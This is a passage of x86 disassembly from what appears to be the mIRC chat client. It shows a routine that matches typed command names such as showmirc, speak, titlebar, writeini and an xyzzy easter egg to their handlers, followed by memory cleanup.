jne 0x4b590a
push dword [ebp + 0x60]
push dword [ebp + 0x20]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00455085
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.showmirc
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5930
push dword [ebp - 0x7c]
call fcn.00455108
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x5696dd
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5968
push dword [ebp + 0x60]
push dword [ebp + 0x4c]
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0050887c
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.sline
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b599c
push dword [ebp + 0x60]
push 4
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044c106
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.speak
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b59c5
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.004559ce
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.splay
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b59fa
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0050e07b
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.sreq
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5a29
push dword [ebp + 0x2c]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00455ad2
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.strip
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne case.0x4b30c9.107
push dword [ebp + 0x2c]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00455be2
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 5
push 0x569707
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e4e8
add esp, 0xc
test eax, eax
jne 0x4b5aa4
push dword [ebp + 0x60]
push dword [ebp + 0x5c]
push dword [ebp + 0x4c]
push dword [ebp + 0x30]
mov edx, dword [ebp + 0x18]
inc edx
push edx
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00514832
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x56970e
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5ad9
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x24]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00455db4
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.titlebar
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5b08
push dword [ebp + 0x60]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.0045632c
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.tnick
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5b3d
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044fa16
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.tokenize
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5c17
xor eax, eax
mov dword [ebp - 0x50], eax
mov edx, dword [ebp - 0x7c]
cmp dword [edx + 4], 0
je 0x4b5c05
mov ecx, dword [ebp - 0x7c]
cmp dword [ecx + 8], 0
je 0x4b5c05
mov eax, dword [ebp - 0x7c]
push dword [eax + 4]
call fcn.005570e0
pop ecx
mov dword [edi], eax
cmp dword [edi], 0
jle 0x4b5c05
cmp dword [edi], 0xff
jg 0x4b5c05
push dword [edi]
push 0x569734
push dword [ebp + 0x20]
call sub.USER32.dll_wsprintfA
add esp, 0xc
mov edx, dword [ebp + 0x1c]
mov byte [edx], 0
push dword [ebp - 0x7c]
push dword [ebp + 0x1c]
push 2
call fcn.004e56b5
mov ecx, dword [ebp + 0x1c]
mov dword [ebp + 0x10], ecx
mov dword [ebp - 0x90], 1
cmp dword [ebp - 0x84], 0
je 0x4b5bdb
push dword [ebp - 0x84]
call fcn.00559c5c
pop ecx
xor eax, eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x88], 0
je 0x4b5bf8
push dword [ebp - 0x88]
call fcn.00559c5c
pop ecx
xor edx, edx
mov dword [ebp - 0x88], edx
jmp 0x4b131c
xor ecx, ecx
mov dword [ebp + 0x10], ecx
xor eax, eax
mov dword [ebp - 0x90], eax
jmp 0x4b5fa6
push str.tray
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne case.0x4b30c9.107
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.004564c4
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.ulist
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5c73
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00456688
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.unload
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5cab
push dword [ebp + 0x60]
push dword [ebp + 0x34]
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0045687d
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x56974d
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5cdd
push dword [ebp + 0x38]
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00456bed
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.unsetall
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5d0e
push dword [ebp + 0x38]
push dword [ebp + 0x2c]
push 0
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00456bed
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.updatenl
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5d3a
push dword [ebp + 0x60]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
call fcn.00456cc6
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x569768
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5d6f
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00456dc3
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.username
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5da3
push dword [ebp + 0x60]
push 0
push dword [ebp + 0x2c]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044f906
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.uwho
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne case.0x4b30c9.107
push dword [ebp + 0x60]
push dword [ebp - 0x58]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004570aa
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x56977d
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5dff
push dword [ebp - 0x7c]
call fcn.0041d868
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.vcmd
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5e33
push 0
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0041cddb
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.vcadd
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5e67
push 1
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0041cddb
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.vcrem
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne case.0x4b30c9.107
push 2
push dword [ebp + 0x2c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0041cddb
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.window
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5ed7
push dword [ebp + 0x60]
push dword [ebp + 0x34]
push dword [ebp + 0x4c]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00457218
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.winhelp
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5f05
push 1
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.0044aa4b
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.write
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b5f2e
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.004f55a6
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.writeini
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne case.0x4b30c9.107
push dword [ebp + 0x1c]
push dword [ebp + 0x20]
push dword [ebp - 0x7c]
call fcn.004f644c
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.xyzzy
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne case.0x4b30c9.107
mov dword [ebp - 0x54], 1
push dword [0x5618e4]
push str.Nothing_happens.
push dword [ebp + 8]
call fcn.004f0245
jmp 0x4b5fa6
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044fde3
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 4
jne 0x4b6031
cmp dword [ebp - 0x80], 0
je 0x4b5fbf
push dword [ebp - 0x80]
call fcn.00559c5c
pop ecx
mov edx, dword [ebp - 0x7c]
push dword [edx + 4]
call fcn.0054e28c
pop ecx
add eax, 0xa
push eax
call fcn.00559d70
pop ecx
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0
jne 0x4b5ff6
push 2
push 0
push str.goto
push 0
call fcn.00479438
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
mov ecx, dword [ebp - 0x7c]
mov eax, dword [ecx + 4]
mov edx, dword [ebp - 0x80]
push edi
mov edi, eax
mov esi, edx
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg edi, esi
mov eax, edi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x54], 1
jmp 0x4b6047
cmp dword [ebp - 0x54], 1
jne 0x4b60b0
cmp dword [ebp - 0x60], 0
je 0x4b6047
cmp dword [ebp - 0x68], 0
jg 0x4b304f
cmp dword [ebp - 0xb8], 0
je 0x4b6066
push dword [ebp - 0xb8]
call fcn.00427d0e
test eax, eax
jne 0x4b6066
xor edx, edx
mov dword [ebp - 0x54], edx
jmp 0x4b60b0
cmp dword [ebp - 0x20], 0
je 0x4b607f
mov ecx, dword [ebp - 0x20]
mov eax, dword [ecx + 0x40]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x4b0c8c
cmp dword [ebp - 0x1c], 0
je 0x4b608e
lea edx, [ebp - 0x1c]
push edx
call fcn.004c6e49
cmp dword [ebp - 0x18], 0
je 0x4b60b0
mov ecx, dword [ebp - 0x18]
mov eax, dword [ecx + 0x40]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4b60b0
mov edx, dword [ebp - 0x18]
cmp dword [edx + 0x1c], 0
je 0x4b0c8c
push dword [ebp + 0x60]
call fcn.0041261f
test eax, eax
je 0x4b60c7
mov ecx, dword [ebp + 0x60]
xor eax, eax
mov dword [ecx + 0x1c8c], eax
cmp dword [ebp - 0xb0], 0
je 0x4b60ed
push dword [ebp - 0xb0]
call fcn.0041261f
test eax, eax
je 0x4b60ed
mov edx, dword [ebp - 0xb0]
xor ecx, ecx
mov dword [edx + 0x1c8c], ecx
cmp dword [ebp - 0x80], 0
je 0x4b6124
push dword [ebp - 0x80]
push 0
push 0xd4b
call fcn.0042c771
push eax
push 0x5803c4
call sub.USER32.dll_wsprintfA
add esp, 0xc
push dword [ebp - 0x80]
call fcn.00559c5c
pop ecx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x18], eax
xor edx, edx
mov dword [ebp - 0x54], edx
cmp dword [ebp - 0x38], 0
je 0x4b6133
lea ecx, [ebp - 0x38]
push ecx
call fcn.004c6e49
cmp dword [ebp - 0x30], 0
je 0x4b614a
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x14]
je 0x4b614a
lea edx, [ebp - 0x30]
push edx
call fcn.004c6e49
cmp dword [ebp - 0x28], 0
je 0x4b6159
lea ecx, [ebp - 0x28]
push ecx
call fcn.004c6e49
cmp dword [ebp - 0x64], 0
je 0x4b6168
push dword [ebp - 0x64]
call fcn.00559c5c
pop ecx
cmp dword [ebp - 0x78], 0
je 0x4b6177
push dword [ebp - 0x78]
call fcn.00559c5c
pop ecx
cmp dword [ebp - 0x14], 0
je 0x4b6186
lea eax, [ebp - 0x14]
push eax
call fcn.004c6e49
cmp dword [ebp - 0x1c], 0
je 0x4b6195
lea edx, [ebp - 0x1c]
push edx
call fcn.004c6e49
cmp dword [ebp - 0x84], 0
je 0x4b61aa
push dword [ebp - 0x84]
call fcn.00559c5c
pop ecx
cmp dword [ebp - 0x88], 0
je 0x4b61bf
push dword [ebp - 0x88]
call fcn.00559c5c
pop ecx
cmp dword [ebp - 0x7c], 0
je 0x4b61ce
push dword [ebp - 0x7c]
call fcn.00559c5c
pop ecx
cmp dword [ebp - 0x54], 0
jne 0x4b6220
cmp byte [0x5803c4], 0
je 0x4b6220
cmp dword [ebp - 0x24], 0
jne 0x4b61f4
push 0
push 0x5697d7
push 0
call fcn.004c6a18
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x4b6215
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov dword [ecx + 0x2c], eax
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp + 0xc]
mov dword [edx + 0x30], ecx
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp + 0x48]
mov dword [eax + 0x40], edx
push dword [ebp - 0x24]
push dword [ebp + 8]
call fcn.004798fb
cmp dword [ebp - 0x24], 0
je 0x4b6243
mov ecx, dword [ebp - 0x24]
xor eax, eax
mov dword [ecx + 0x40], eax
mov edx, dword [ebp - 0x24]
mov dword [edx + 0x30], eax
mov edx, dword [ebp - 0x24]
mov dword [edx + 0x2c], eax
lea ecx, [ebp - 0x24]
push ecx
call fcn.004c6e49
cmp dword [ebp + 0x3c], 0
je 0x4b6258
cmp dword [ebp + 0x38], 0
je 0x4b6258
lea eax, [ebp + 0x38]
push eax
call fcn.004c6e49
cmp dword [ebp - 0xa8], 0
je 0x4b6281
cmp dword [ebp + 0x54], 0
je 0x4b6281
mov edx, dword [ebp + 0x54]
cmp dword [edx], 0
je 0x4b6281
mov ecx, dword [ebp + 0x54]
push dword [ecx]
call fcn.00559c5c
pop ecx
mov eax, dword [ebp + 0x54]
xor edx, edx
mov dword [eax], edx
cmp dword [ebp - 0xa0], 0
je 0x4b62aa
cmp dword [ebp + 0x50], 0
je 0x4b62aa
mov ecx, dword [ebp + 0x50]
cmp dword [ecx], 0
je 0x4b62aa
mov eax, dword [ebp + 0x50]
push dword [eax]
call fcn.00559c5c
pop ecx
mov edx, dword [ebp + 0x50]
xor ecx, ecx
mov dword [edx], ecx
cmp dword [ebp - 8], 0
je 0x4b62bf
cmp dword [ebp + 0x24], 0
je 0x4b62bf
push dword [ebp + 0x24]
call fcn.00559c5c
pop ecx
cmp dword [ebp - 0xc], 0
je 0x4b62d4
cmp dword [ebp + 0x1c], 0
je 0x4b62d4
push dword [ebp + 0x1c]
call fcn.00559c5c
pop ecx
cmp dword [ebp - 0x10], 0
je 0x4b62e9
cmp dword [ebp + 0x20], 0
je 0x4b62e9
push dword [ebp + 0x20]
call fcn.00559c5c
pop ecx
cmp dword [ebp + 0x18], 0
jg 0x4b630d
push dword [ebp + 0x5c]
push dword [ebp + 8]
call fcn.0051d5b6
cmp dword [0x5606b0], 0
je 0x4b630d
push 0x5606b0
call fcn.004c6e49
mov eax, dword [ebp - 0x54]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x5c